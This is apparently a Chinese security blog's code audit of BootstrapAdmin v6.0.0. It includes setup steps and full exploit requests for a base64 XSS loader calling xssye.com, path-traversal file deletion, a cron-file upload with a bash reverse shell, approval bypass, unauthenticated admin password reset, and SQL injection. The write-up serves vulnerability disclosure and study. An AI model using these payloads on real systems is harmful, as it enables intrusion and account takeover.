BootstrapAdmin 代码审计

0x00 前言

BootstrapAdmin 是基于 RBAC 的 Net7 后台管理框架。该项目获得GVP 奖杯并拥有1w+Star。

本篇文章中的所有发现的相关漏洞已提交 Issues 或通知仓库拥有者本人。此前审计过PHP、JAVA的CMS,这次尝试审计使用.NET Core开发的Web网站。

这个不是传统的.NET WEB FRAMEWORK,因此我们没有看到项目中存在的Asp、Aspx等动态网页文件。紧随我的脚步,让我们一起感受代码审计的魅力。

.Net Framework 和 .Net Core 都包含了ASP.net,但是.Net Core中的ASP.net被重新设计过了,目前没有看到Web Form这个功能,只看到了MVC这个功能。

https://gitee.com/LongbowEnterprise/BootstrapAdmin

0x01 声明

公网上存在部署了旧版本的CMS,旧版本仍然存在这些问题。

请不要非法攻击别人的服务器,如果你是服务器主人请升级到最新版本。

请严格遵守网络安全法相关条例!此分享主要用于交流学习,请勿用于非法用途,一切后果自付。
一切未经授权的网络攻击均为违法行为,互联网非法外之地。

0x02 环境

BootstrapAdmin 版本:v6.0.0 MVC模式

.Net SDK版本:5.0.408

系统环境:Window10/CentOS7

数据库:SQLite 数据库/Mysql8数据库

0x03 安装

为了更好的测试,我分别在window和Linux上搭建了项目。

下面的教程是在 Centos7 版本上部署的教程。Window部署作者给出了教程

1、拉取项目源代码

mkdir /home/project
cd /home/project
git clone https://gitee.com/LongbowEnterprise/BootstrapAdmin.git -b v6.0.0

2、安装.NET SDK

官方教程:https://learn.microsoft.com/zh-cn/dotnet/core/install/linux-centos

你可以选择在线安装(比较慢)

rpm -Uvh https://packages.microsoft.com/config/centos/7/packages-microsoft-prod.rpm
yum install -y dotnet-sdk-5.0 git wget net-tools

本地下载上传压缩包

我使用的是dotnet-sdk-5.0的,其他版本可以在

https://dotnet.microsoft.com/zh-cn/download/dotnet

找到。手动安装的官方教程地址:
https://learn.microsoft.com/zh-cn/dotnet/core/install/linux-scripted-manual#manual-install

dotnet-sdk-5.0下载地址:

https://download.visualstudio.microsoft.com/download/pr/904da7d0-ff02-49db-bd6b-5ea615cbdfc5/966690e36643662dcc65e3ca2423041e/dotnet-sdk-5.0.408-linux-x64.tar.gz

我推荐上传到 /opt 目录下,如果你上传到了不同的目录,请修改下面的cd命令。

cd /opt
DOTNET_FILE=dotnet-sdk-5.0.408-linux-x64.tar.gz
export DOTNET_ROOT=$(pwd)/.dotnet
mkdir -p "$DOTNET_ROOT" && tar zxf "$DOTNET_FILE" -C "$DOTNET_ROOT"
export PATH=$PATH:$DOTNET_ROOT:$DOTNET_ROOT/tools

代码执行完成后。可以通过dotnet --list-sdks命令检查是否安装完毕。

3、配置Nginx 反向代理

01 安装Nginx

yum install -y wget
cd /usr/local
wget http://nginx.org/download/nginx-1.19.8.tar.gz
yum install -y gcc-c++ pcre pcre-devel zlib zlib-devel openssl openssl-devel
tar -zxvf nginx-1.19.8.tar.gz
cd /usr/local/nginx-1.19.8/
./configure --with-http_ssl_module
make
make install
ln -s /usr/local/nginx/sbin/nginx /usr/bin/nginx -f

02 配置Nginx

执行使用命令 vi /usr/local/nginx/conf/nginx.conf进行编辑配置文件。

这里参考:

https://gitee.com/LongbowEnterprise/BootstrapAdmin/wikis/Nginx%20%E9%85%8D%E7%BD%AE

我省略了其中443的部分,因为测试环境无需用到。

#user  nobody;
worker_processes 1;

#error_log logs/error.log;
#error_log logs/error.log notice;
#error_log logs/error.log info;

#pid logs/nginx.pid;


events {
worker_connections 1024;
}

http{
include mime.types;
default_type application/octet-stream;

#log_format main '$remote_addr - $remote_user [$time_local] "$request" '
# '$status $body_bytes_sent "$http_referer" '
# '"$http_user_agent" "$http_x_forwarded_for"';

#access_log logs/access.log main;

sendfile on;
#tcp_nopush on;

#keepalive_timeout 0;
keepalive_timeout 65;

#gzip on;

upstream ba {
server localhost:50852;
}

server {
listen 80;
server_name localhost;
error_page 404 500 /50x.html;
proxy_redirect off;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
location / {
proxy_connect_timeout 1;
proxy_pass http://ba/;
}
location /NotiHub {
proxy_http_version 1.1;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection "upgrade";
proxy_pass http://ba/NotiHub;
}
location /TaskLogHub {
proxy_http_version 1.1;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection "upgrade";
proxy_pass http://ba/TaskLogHub;
}
location = /50x.html {
root html;
}
error_page 404 500 502 503 504 /50x.html;
}

server {
listen 8080;
server_name localhost;
error_page 404 500 /50x.html;
proxy_redirect off;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
location / {
proxy_connect_timeout 1;
proxy_pass http://client/;
}
location = /50x.html {
root html;
}
error_page 404 500 502 503 504 /50x.html;
}

upstream client {
server localhost:49185;
}
}

03 启动Nginx

测试配置正确与否:/usr/local/nginx/sbin/nginx -t

运行nginx::/usr/local/nginx/sbin/nginx -c /usr/local/nginx/conf/nginx.conf

重新加载:/usr/local/nginx/sbin/nginx -s reload

4、启动项目

cd /home/project/BootstrapAdmin
export DOTNET_SYSTEM_GLOBALIZATION_INVARIANT=1
nohup dotnet run --project ./src/mvc/admin/Bootstrap.Admin &
nohup dotnet run --project ./src/mvc/client/Bootstrap.Client &

启动后任然无法访问,需要关闭防火墙:

systemctl disable firewalld
systemctl stop firewalld

启动后访问http://localhost:50852/Account/Login即可

5、更换数据库

我这里使用的可视化管理Mysql工具为DBeaver

先在本地Mysql服务创建一个命名为BA的数据库。注意选择一下字符集utf8mb4_general_ci

创建完数据库后,我们先将BootstrapAdmin\db\MySQL目录下的initData.sql

在第一行添加set character set utf8mb4;

如果不做这一步,在后续操作会无法恢复该文件。

修改完后右键数据库选择恢复数据库。

通过这个功能分别导入两个sql文件。

修改配置文件应用Mysql服务。

BootstrapAdmin\src\mvc\admin\Bootstrap.Admin\appsettings.json

BootstrapAdmin\src\mvc\admin\Bootstrap.Admin\appsettings.Development.json

重新生成后出现以下错误。

在Visual Studio帮助旁边的搜索栏搜索 Nuget

在弹出的窗口选择游览,搜索Mysql,下载安装Mysql.Data 8.029这个版本。

因为最新版本不支持.Net5.0。

安装完毕后重新生成启动即可。

0x04 代码审计

【前台】错误返回页面存在反射型XSS(无Cookie)

漏洞利用

经典的 a 标签 href 属性XSS注入,使用简单 payload:javascript:alert(8007)

点击返回首页时可以触发Script脚本。

请求路径:http://localhost:50852/Home/Error/404?ReturnUrl=

使用 xssye.com 构造利用方式。

javascript:eval(atobdmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHA6Ly94c3N5ZS5jb20vejNxVyI7ZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChhKTs=)

参考:

当我们点击返回首页时执行了我们的跨站脚本,可以在xssye.com后台中看到数据,但是没有获取到Cookie。

Cookie都有 HttpOnly 所以获取不到。

漏洞定位

BootstrapAdmin\src\mvc\admin\Bootstrap.Admin\Controllers\HomeController.cs

这里的 returnUrl 是通过Request Query获取的,也就是GET方式请求获取Query数据。

Request.Query[CookieAuthenticationDefaults.ReturnUrlParameter].ToString();

对应的cshtml文件

BootstrapAdmin\src\mvc\admin\Bootstrap.Admin\Views\Shared\Error.cshtml

@Url.Content 方法返回一个应用程序中的虚拟路径的绝对 URL。它可以用于生成包含应用程序根路径的 URL,这对于在视图中使用相对路径引用 CSS、JavaScript 和图像等文件非常有用。

在 Razor 视图中,默认情况下会进行 HTML 实体编码,以避免跨站点脚本攻击。这意味着在模型属性的值插入到 HTML 中时,会自动将特殊字符(如 <, >, & 等)转换成对应的 HTML 实体编码。

【后台】头像任意文件删除

权限:后台普通用户权限

漏洞利用

为了测试,我现在目录BootstrapAdmin\src下新建命名为don't_delete_me.txt的文件。

使用管理员默认账户登录后台:Admin/123789

访问:http://localhost:50852/Admin/Profiles

在左侧栏找到个人中心,进入后找到修改头像处。

任意上传一张图像,然后点击删除。抓包修改包的内容。

头像存储的相对路径是BootstrapAdmin\src\mvc\admin\Bootstrap.Admin\wwwroot\images\uploader

将 key 修改成\..\..\..\..\..\..\don't_delete_me.txt

请求包:

POST http://localhost:50852/api/Profiles/Delete HTTP/1.1
Host: localhost:50852
Content-Length: 42
sec-ch-ua: "Chromium";v="89", ";Not A Brand";v="99"
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://localhost:50852
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:50852/Admin/Profiles
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: .AspNetCore.Antiforgery.a2HlFfgw_P8=CfDJ8PEsgr_mSMxFurYJD90kTRdDutnyswhgQAajLp51T2b4dYv1uTICnGVL5VbVaPJDUc3r70GoHtQB2Vj7oYm-nLhDCG9W_mj5-8IB2FhB271EWYmMSylfSZlNpTFa3Bjf2r_UhJSfp1Bd5BPtXwzV6_I; .AspNetCore.Cookies=CfDJ8PEsgr_mSMxFurYJD90kTRfdrk0fKJRgNBBGJh87RD57SJijn1hT9IhdiA0zf0iJmcS8FhwRVuJ0vRc_TtyVbrYpbGm_YrC8ZzLRK9P8u4AZImRchxPy9WBPUhMMx1p9xex3eUomUXRKzT5yx12qpn93BDSxLApgseVLQLucY5kAtph1GMb1V17dFqbe0ieA99eoYMLFYT_KBcncZFdFE7cAUAJWj0msoM8Uwb9aRSXaVdqklQvxohYvXa0zEFcUSzKpbJbYWIGYDMzW3WJvehlx6i8nDEneQaHVeR801qSl
Connection: close

key=\..\..\..\..\..\..\don't_delete_me.txt

我在Linux系统上创建了delete_me.txt文件。

通过使用 payload/../../../../../../../../delete_me.txt将文件删除了。

报错是因为我修改了全局的头像路径不用理会。那么有人可能问了,如果修改了字典里的头像路径为什么还能删除我们指定的文件呢?

原因是它是这么拼接的:

fileName = Path.Combine(env.WebRootPath, $"images{Path.DirectorySeparatorChar}uploader{Path.DirectorySeparatorChar}{fileName}");

直接写死了images/uploader而不是通过字典获取路径。具体的代码在下面可以看到。

漏洞定位

请求路径为http://localhost:50852/api/Profiles/Delete

后端处理文件为:

BootstrapAdmin\src\mvc\admin\Bootstrap.Admin\Controllers\Api\ProfilesController.cs

api/Profiles的Post请求就会进入到这个函数,它的请求格式为api/Profiles/{id}

这里先对id进行了判断,然后获取我们传入的Key。这里的[FromForm] DeleteFileCollection files已经将请求body的参数转换成DeleteFileCollection对象了,所以files.Key就是我们输入的\..\..\..\..\..\..\don't_delete_me.txt

Path.Combine 函数用于将字符串组合成文件或目录路径。它是一种安全的连接路径的方式,因为它会自动添加正确的目录分隔符。但是,需要注意的是,Path.Combine不会验证或清理输入路径。开发人员有责任确保输入路径是安全的,不包含任何恶意或意外字符。

这里没有对拼接的路径进行任何过滤,所以我们可以进行目录遍历删除文件。

【后台】头像任意文件上传

权限:后台普通用户权限

漏洞利用

使用管理员默认账户登录后台:Admin/123789

访问http://localhost:50852/Admin/Users

新建一个名为 root 的账户,密码随意,也不需要给权限。

然后进入字典表维护http://localhost:50852/Admin/Dicts

在字典代码输入~/../../../../../../../../../var/spool/cron/

这里的../多少无所谓主要是要跳到根目录,其次注意的是Ubuntu的计划任务目录在

/var/spool/cron/crontabs

我们退出Admin账户,重新登录root账户,然后到个人中心处上传图片后抓包。

Content-Disposition: form-data; name="file_data"; filename="."
Content-Type: image/jpeg

* * * * * bash -i >& /dev/tcp/192.168.68.1/6666 0>&1%0a

需要注意的是我们需要将%0a进行URL编码解码发包才可以。

解码之后发送请求。

到测试服务器上查看,发现已经写入。

Windows 开 nc 监听等待一分钟也能连上,至此成功Getshell。

漏洞定位

BootstrapAdmin\src\mvc\admin\Bootstrap.Admin\Controllers\Api\ProfilesController.cs

这里的 fileName 是使用当前用户名拼接上传文件的 filename 得来的,所以我们在上传文件的时候修改后缀 .asp 即可上传木马文件。

为什么无法解析呢?我们往下看。

BootstrapAdmin\src\mvc\admin\Bootstrap.Admin\Startup.cs

app.UseStaticFiles() 中间件默认配置为从“wwwroot”目录提供文件服务。

设置了这个中间件去访问动态文件 asp 时会因为app.UseStatusCodePagesWithReExecute("/Home/Error/{0}");返回/Home/Error/404的界面。

访问:http://localhost:50852/Admin/Profiles

找到修改头像,选择一句话木马后上传,抓包修改后缀名为 asp 放包即可。

可以看到文件已经上传成功了。

虽然文件上传成功,但很可惜,无法解析。

我注意到fileName = $"{userName}{Path.GetExtension(uploadFile.FileName)}";

路径拼接中使用了userName,那我可以尝试通过修改用户名来达到目录穿越的目的。

更新用户名,PUT http://localhost:50852/api/Profiles

很可惜存在 UserName与 当前登录用户名进行判断,我们没办法通过这个判断。

BootstrapAdmin\src\mvc\admin\Bootstrap.Admin\Controllers\Api\ProfilesController.cs

还有一个地方可以编辑,那就是用户管理。

抓包修改之后修改UserName,但是实际上没有修改成功。

这里没有使用到我们的 UserName,但我们可以新建一个账户。

BootstrapAdmin\src\mvc\admin\Bootstrap.Admin\Controllers\Api\UsersController.cs

随意创建一个用户。

修改请求中的 UserName

BootstrapAdmin\src\mvc\admin\Bootstrap.Admin\Controllers\Api\UsersController.cs

进入到 UserHelper.Save

BootstrapAdmin\src\mvc\admin\Bootstrap.DataAccess\Helper\UserHelper.cs

继续进入到 UserHelper.UserChecker,其中针对我们传入的 UserName 进行了长度限制和正则匹配。很显然我们输入的..\\..\\..\\..\\没法通过匹配。

我将注意力放到 webSiteUrl

var filePath = Path.Combine(env.WebRootPath, webSiteUrl.Replace("~", string.Empty).Replace('/', Path.DirectorySeparatorChar).TrimStart(Path.DirectorySeparatorChar) + fileName);

这是最终拼接路径的语句,其中的webSiteUrl是通过字典获取的。

var webSiteUrl = DictHelper.RetrieveIconFolderPath();

我们到字典表维护功能,就可以找到头像路径的设置。

http://localhost:50852/Admin/Dicts

将字典代码内容修改成~/../../../../../../../

这个时候我们再次上传就可以看到路径已经拼接好了。

在 Windows 情况下,我们没有办法通过上传木马GetShell。有人就要问了,覆盖报错页面的 cshtml 就可以了。想法很好,但很可惜,在ASP.NET Core应用程序中,cshtml文件是视图文件,用于呈现HTML内容。这些文件通常在应用程序启动时被编译,并在运行时作为静态文件提供。因此,在程序运行时修改cshtml文件是不可能的。

Cmd 临时开启 UTF-8编码,可以使用命令 chcp 65001

参考 https://learnku.com/articles/55553

我在Linux上传计划任务时卡了一会,因为crontab的文件要以换行符结尾。否则没法执行计划任务。但如果直接换行或者Shift+Enter(输入\r\n)结果是^M

^M 是一个特殊的字符,也称为回车符或者Carriage Return符号。它通常表示为\r。

当在Windows中使用文本编辑器或其他工具编辑文件时,该文件的行结束符可能会以回车符(\r)和换行符(\n)的组合表示。在Linux和Unix系统中,行结束符通常只是一个换行符(\n)。

在计划任务语句中,如果包含回车符(\r),它会被解释为一个命令或参数的一部分,可能会导致计划任务执行失败。

所以我想到需要编辑Hex,而BurpSuite2020及之后版本都没法直观的编辑Hex。

官方给的说明如下(Google翻译过后的)

可以通过链接直达该官方说明:https://portswigger.net/burp/documentation/desktop/tools/inspector/modify-requests

也就是先添加一个字符,然后选中,再通过右侧小部件编辑。

但是我试了一下还是不行,不如直接使用%0aURL解码一下就行了。

【前台】越权添加账户

漏洞利用

访问登录界面http://localhost:50852/Account/Login

点击申请账号,任意填写内容后点击提交并抓包。

修改请求包,添加两项内容:

"ApprovedTime":"2023-05-04 18:44:20.9316203",
"ApprovedBy":"system"

请求包:

POST /api/Register HTTP/1.1
Host: localhost:50852
Content-Length: 150
sec-ch-ua: "Not A(Brand";v="24", "Chromium";v="110"
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36
sec-ch-ua-platform: "Windows"
Origin: http://localhost:50852
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:50852/Account/Login?AppId=BA
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: .AspNetCore.Antiforgery.a2HlFfgw_P8=CfDJ8Gs8oXs1rxRKjEnWjDIDxNbJjshI1qzQp5CuMqbXtCMkdL2neNZavWmBhuthWZKWz33fafGSx248iRpmB60ypJVZklddoKZx_r5WUEYb6NlFnr8NezIO2vRdhVD2dAcFCSwZJTQffPO8V4Ua3hJC-90
Connection: close

{"UserName":"test","Password":"123456","DisplayName":"test","Description":"test",
"ApprovedTime":"2023-05-04 18:44:20.9316203","ApprovedBy":"system"}

放包后,我们可以使用管理员账号在后台查看用户相关数据。发现已经添加成功。

使用我们刚刚注册的账号进行登录。可以看到能够登录,也就是说绕过了注册账号需要管理员通过的操作

可以看到是 test 账户,现在是默认权限的状态。

当我访问 http://localhost:50852/api/Users?search=&sort=RegisterTime&order=desc&offset=0&limit=20&name=&displayName=&_=1683257070879时可以获取所有用户的用户相关信息。这个功能当前用户应当没有权限,只有管理员有用户管理的面板。属于越权操作了。

漏洞定位

我们在请求http://localhost:50852/api/Register时会先进入到:

BootstrapAdmin\src\mvc\admin\Bootstrap.Admin\Controllers\Api\RegisterController.cs

进入到UserHelper.Save函数

BootstrapAdmin\src\mvc\admin\Bootstrap.DataAccess\Helper\UserHelper.cs

这里进行了三个判断:

  1. 判断输入的用户数据是否符合标准 UserChecker
  2. 根据输入的用户名判断用户是否已经存在
  3. 判断是否是演示系统,如果是演示系统就根据输入ID判断用户是否已经存在。显然这里不是演示系统。

我们输入用户名是不存在的且符合标准,所以进入到保存操作。

DbContextManager.Create<User>()?.Save(user)

BootstrapAdmin\src\mvc\admin\Bootstrap.DataAccess\User.cs

到这里直接通过db.Insert操作将我们传入的所有数据进行了保存操作。

那么为什么我们添加了ApprovedTimeApprovedBy就可以登录了呢?我们去看看登录控制器。

BootstrapAdmin\src\mvc\admin\Bootstrap.Admin\Controllers\AccountController.cs

这里存在用户爆破漏洞,因为没有进行验证码校验,不过不是我们目前漏洞的重点。

只要用户名和密码不为空就进入到 UserHelper.Authenticate

BootstrapAdmin\src\mvc\admin\Bootstrap.DataAccess\Helper\UserHelper.cs

这里进入到Authenticate函数

BootstrapAdmin\src\mvc\admin\Bootstrap.DataAccess\User.cs

可以看到这里的查询语句条件中忽略了ApprovedTime为空的用户数据,所以只要我们添加了ApprovedTime就可以登录。

【前台】任意重置密码

漏洞利用

进入到后台登录页面http://localhost:50852/Account/Login

进入到忘记密码界面,账号处输入Admin即默认管理员账户登录名称,其他字段信息随意填写。

我们提交之后再发送一个重置密码的包即可,这个包不需要任何权限。

请求包:

PUT /api/Register/Admin HTTP/1.1
Host: localhost:50852
Content-Length: 21
sec-ch-ua: "Not A(Brand";v="24", "Chromium";v="110"
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36
sec-ch-ua-platform: "Windows"
Origin: http://localhost:50852
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:50852/Account/Login?AppId=BA
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: .AspNetCore.Antiforgery.a2HlFfgw_P8=CfDJ8Gs8oXs1rxRKjEnWjDIDxNbJjshI1qzQp5CuMqbXtCMkdL2neNZavWmBhuthWZKWz33fafGSx248iRpmB60ypJVZklddoKZx_r5WUEYb6NlFnr8NezIO2vRdhVD2dAcFCSwZJTQffPO8V4Ua3hJC-90
Connection: close

{"Password":"123456"}

这个时候我们再使用Admin/123456即可登录管理员权限账户。

漏洞定位

我们先关注到http://localhost:50852/api/Register/Admin这个路径的处理函数

BootstrapAdmin\src\mvc\admin\Bootstrap.Admin\Controllers\Api\RegisterController.cs

进入到UserHelper.ResetPassword函数

BootstrapAdmin\src\mvc\admin\Bootstrap.DataAccess\Helper\UserHelper.cs

这里进行了2个判断:

  1. 对用户输入的用户名和密码进行标准检查
  2. 判断是否是演示系统,如果是演示系统就不允许修改AdminUser这两个账户。这里不是演示系统。

通过了两个判断后,进入到ResetPassword函数。

BootstrapAdmin\src\mvc\admin\Bootstrap.DataAccess\User.cs

这里先有一个根据传入的用户名判断是否有提交重置密码请求,这里必须要有重置密码请求记录。

通过了这个判断之后,就是进行db.Update操作了。

【后台】查询日志接口存在SQL注入

权限:后台普通用户权限

漏洞利用

使用任意账号登录都能请求 http://localhost:50852/api/Logs接口

此接口的SortOrder没有使用Linq进行转义导致注入漏洞的产生。

基于报错注入:

http://localhost:50852/api/Logs?OperateTimeEnd=&OperateTimeStart=2023-05-06&limit=1&offset=0&operateType=&order=concat(0x7e,database(),0x7e),3)&sort=updatexml(1,

请求包:

GET /api/Logs?OperateTimeEnd=&OperateTimeStart=2023-05-06&limit=1&offset=0&operateType=&order=concat(0x7e,database(),0x7e),3)&sort=updatexml(1, HTTP/1.1
Host: localhost:50852
sec-ch-ua: "Not A(Brand";v="24", "Chromium";v="110"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: .AspNetCore.Antiforgery.a2HlFfgw_P8=CfDJ8Gs8oXs1rxRKjEnWjDIDxNYIk8qTrVAchQMdNQDsqE0fBboelKrRDrSlcNGeSNFI1jNSivWc5b5t8tkI1SES8xumGS6HdMyCcTFdEqocP7y74P26iG_iKW6RRYrazzhQNkcvDfYzcxAzdbm-f5FqO88; .AspNetCore.Cookies=CfDJ8Gs8oXs1rxRKjEnWjDIDxNaE3CXKRjutQdTU9MI2xO1nRk7yd-9PgK41JPtnvxNoybJwZclKPosGkyWisjmmpaB2xJkLw04jWnB1ZpvrHYBNhbm02wR62IXpOdYVnmBRgSs7UrKRDnk-fAR9CRWNiYrLr5Dq9irg-R7uxSbuwu1A-eKvcQUsLvd_nvlRmExl_ay-3wo0v1rvUe1pwpbhyzzda5HLQbh0XOMmor5h0q66o9vFYO5dgBUGqYxpBidWCv0PoKzqGQeA_8dxsBolEctWPrQEKakod3mJ1HrIKQR1
Connection: close


基于时间注入:

请求包:

GET /api/Logs?OperateTimeEnd=&OperateTimeStart=2023-05-06&limit=1&offset=0&operateType=&order=sleep(10))&sort=if(1=2,1, HTTP/1.1
Host: localhost:50852
sec-ch-ua: "Not A(Brand";v="24", "Chromium";v="110"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: .AspNetCore.Antiforgery.a2HlFfgw_P8=CfDJ8Gs8oXs1rxRKjEnWjDIDxNYIk8qTrVAchQMdNQDsqE0fBboelKrRDrSlcNGeSNFI1jNSivWc5b5t8tkI1SES8xumGS6HdMyCcTFdEqocP7y74P26iG_iKW6RRYrazzhQNkcvDfYzcxAzdbm-f5FqO88; .AspNetCore.Cookies=CfDJ8Gs8oXs1rxRKjEnWjDIDxNaE3CXKRjutQdTU9MI2xO1nRk7yd-9PgK41JPtnvxNoybJwZclKPosGkyWisjmmpaB2xJkLw04jWnB1ZpvrHYBNhbm02wR62IXpOdYVnmBRgSs7UrKRDnk-fAR9CRWNiYrLr5Dq9irg-R7uxSbuwu1A-eKvcQUsLvd_nvlRmExl_ay-3wo0v1rvUe1pwpbhyzzda5HLQbh0XOMmor5h0q66o9vFYO5dgBUGqYxpBidWCv0PoKzqGQeA_8dxsBolEctWPrQEKakod3mJ1HrIKQR1
Connection: close


更多利用方式请看:https://yang1k.github.io/post/sql%E6%B3%A8%E5%85%A5%E4%B9%8Border-by%E6%B3%A8%E5%85%A5/

漏洞定位

BootstrapAdmin\src\mvc\admin\Bootstrap.DataAccess\Log.cs

在SQL语句拼接时SortOrder没有使用 Linq 进行转义

【后台】查询所有SQL日志信息接口存在SQL注入

权限:后台普通用户权限

漏洞利用

http://localhost:50852/api/SQL

http://localhost:50852/api/SQL?offset=0&limit=20&UserName=&OperateTimeStart=2023-05-06&OperateTimeEnd=&order=concat(0x7e,database(),0x7e),3)&sort=updatexml(1,

请求包:

GET /api/SQL?offset=0&limit=20&UserName=&OperateTimeStart=2023-05-06&OperateTimeEnd=&order=concat(0x7e,database(),0x7e),3)&sort=updatexml(1, HTTP/1.1
Host: localhost:50852
sec-ch-ua: "Not A(Brand";v="24", "Chromium";v="110"
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36
sec-ch-ua-platform: "Windows"
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:50852/Admin/SQL
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: .AspNetCore.Antiforgery.a2HlFfgw_P8=CfDJ8Gs8oXs1rxRKjEnWjDIDxNYIk8qTrVAchQMdNQDsqE0fBboelKrRDrSlcNGeSNFI1jNSivWc5b5t8tkI1SES8xumGS6HdMyCcTFdEqocP7y74P26iG_iKW6RRYrazzhQNkcvDfYzcxAzdbm-f5FqO88; .AspNetCore.Cookies=CfDJ8Gs8oXs1rxRKjEnWjDIDxNaE3CXKRjutQdTU9MI2xO1nRk7yd-9PgK41JPtnvxNoybJwZclKPosGkyWisjmmpaB2xJkLw04jWnB1ZpvrHYBNhbm02wR62IXpOdYVnmBRgSs7UrKRDnk-fAR9CRWNiYrLr5Dq9irg-R7uxSbuwu1A-eKvcQUsLvd_nvlRmExl_ay-3wo0v1rvUe1pwpbhyzzda5HLQbh0XOMmor5h0q66o9vFYO5dgBUGqYxpBidWCv0PoKzqGQeA_8dxsBolEctWPrQEKakod3mJ1HrIKQR1
Connection: close


漏洞定位

BootstrapAdmin\src\mvc\admin\Bootstrap.DataAccess\DBLog.cs

在SQL语句拼接时SortOrder没有使用 Linq 进行转义

【后台】获得登录用户的分页数据接口存在SQL注入

权限:后台普通用户权限

漏洞利用

http://localhost:50852/api/Login

http://localhost:50852/api/Login?&offset=0&limit=20&startTime=2023-05-06&endTime=&loginIp=&order=concat(0x7e,database(),0x7e),3)&sort=updatexml(1,

请求包:

GET /api/Login?&offset=0&limit=20&startTime=2023-05-06&endTime=&loginIp=&order=concat(0x7e,database(),0x7e),3)&sort=updatexml(1, HTTP/1.1
Host: localhost:50852
sec-ch-ua: "Not A(Brand";v="24", "Chromium";v="110"
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36
sec-ch-ua-platform: "Windows"
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:50852/Admin/Logins
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: .AspNetCore.Antiforgery.a2HlFfgw_P8=CfDJ8Gs8oXs1rxRKjEnWjDIDxNYIk8qTrVAchQMdNQDsqE0fBboelKrRDrSlcNGeSNFI1jNSivWc5b5t8tkI1SES8xumGS6HdMyCcTFdEqocP7y74P26iG_iKW6RRYrazzhQNkcvDfYzcxAzdbm-f5FqO88; .AspNetCore.Cookies=CfDJ8Gs8oXs1rxRKjEnWjDIDxNaE3CXKRjutQdTU9MI2xO1nRk7yd-9PgK41JPtnvxNoybJwZclKPosGkyWisjmmpaB2xJkLw04jWnB1ZpvrHYBNhbm02wR62IXpOdYVnmBRgSs7UrKRDnk-fAR9CRWNiYrLr5Dq9irg-R7uxSbuwu1A-eKvcQUsLvd_nvlRmExl_ay-3wo0v1rvUe1pwpbhyzzda5HLQbh0XOMmor5h0q66o9vFYO5dgBUGqYxpBidWCv0PoKzqGQeA_8dxsBolEctWPrQEKakod3mJ1HrIKQR1
Connection: close


漏洞定位

<font style="color:rgb(199, 37, 78);">BootstrapAdmin\src\mvc\admin\Bootstrap.DataAccess\LoginUser.cs</font>

